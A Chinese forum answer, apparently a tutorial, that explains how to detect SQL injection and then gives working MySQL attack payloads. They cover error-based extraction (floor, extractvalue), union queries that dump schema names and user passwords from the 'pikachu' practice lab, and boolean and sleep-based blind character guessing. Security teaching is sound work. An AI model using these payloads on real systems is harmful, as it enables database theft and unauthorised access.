SQL注入检测方法与攻击方法

SQL注入检测方法与攻击方法
最新回答
葬婲

2021-06-01 16:56:58

SQL注入检测方法与攻击方法SQL注入检测方法

1. 报错注入检测方法

  • 方法描述:向数据库传入一个故意构造的错误语句,观察数据库是否返回报错信息。若报错信息被打印在网页上,则可以判断该位置存在SQL注入漏洞。
  • 示例:向数据库传入语句 select * from user where id=1'(在1后面多输入一个单引号),若数据库返回报错信息,则说明该位置可能存在SQL注入漏洞。

2. Union注入检测方法

  • 列数判断:向数据库传入语句 select * from users where id=1 union select 1,观察是否返回“The used SELECT statements have a different number of columns”的错误信息,以此判断union前后的数据列数是否一致。
  • 字段数判断:传入语句 select * from users where id=1 order by 4,若返回“Unknown column '4' in 'order clause'”的错误信息,则说明表中只有3个字段。通过递增order by后面的数字,可以判断出数据库表的字段数。
  • 回显点判断:传入语句 select * from user where id=-1 union select 1,2,3,通过返回的查询结果,可以判断出哪些位置是回显点(即哪些位置的数据会被显示出来)。

3. 布尔注入检测方法

  • 方法描述:在查询语句后面添加逻辑判断条件,如 and 1=1 或 and 1=2,观察查询结果是否发生变化。若发生变化,则说明该位置可能存在SQL注入漏洞。
  • 示例:在查询语句后面添加 and 1=1,若查询结果正常返回;再添加 and 1=2,若查询结果无返回或发生变化,则说明该位置可能存在SQL注入漏洞。

4. 时间注入检测方法

  • 方法描述:向数据库传入一个包含 sleep() 函数的语句,观察页面是否出现延迟。若页面延迟一定时间后才返回,则说明时间注入是可行的。
  • 示例:向数据库传入语句 select * from user where id=1 and sleep(5),若页面延迟5秒才返回,则说明时间注入是可行的。
SQL注入攻击方法

1. 报错注入攻击方法

  • 利用函数:利用 floor()、extractvalue()、updatexml()、geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()、exp() 等函数构造报错语句,从而获取数据库信息。
  • 示例

    select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

2. Union注入攻击方法

  • 获取数据库信息:通过union注入,可以获取数据库名、表名、列名以及具体的数据。
  • 示例

    id=-1 union select database(),2:爆出库名。

    id=-1 union select table_name,2 from information_schema.tables where table_schema='pikachu':爆出表名。

    id=-1 union select column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users':爆出列名。

    select username,password from users:显示出用户名和密码(密码可能是md5编码,需要进一步解密)。

3. 布尔注入攻击方法

  • 方法描述:通过逻辑判断条件(true或false)来猜测数据库信息。由于布尔注入通常用于无回显点的情况,因此也叫盲注。
  • 示例

    判断系统表中有多少个数据库:1 and (select count(*) from information_schema.schemata)>6。

    猜第一个数据库的名称:1 and (select ascii(mid(schema_name,1,1)) from information_schema.schemata limit 0,1)>97。

    猜测数据库表的第一字段:1 and (select ascii(mid(column_name,1,1)) from information_schema.columns where table_name='user' and table_schema='security')>97。

4. 时间注入攻击方法

  • 方法描述:通过延迟时间来判断是否猜对数据库信息。与布尔注入类似,但判断依据是延迟时间而非逻辑判断结果。
  • 示例

    猜测数据库名的第一个字符的ASCII值:1 and if(ascii(substr(database(),1,1))>97,sleep(5),0)。若页面延迟5秒返回,则说明猜测的ASCII值大于97;否则,小于或等于97。通过不断调整ASCII值,可以逐步猜测出数据库名的完整字符。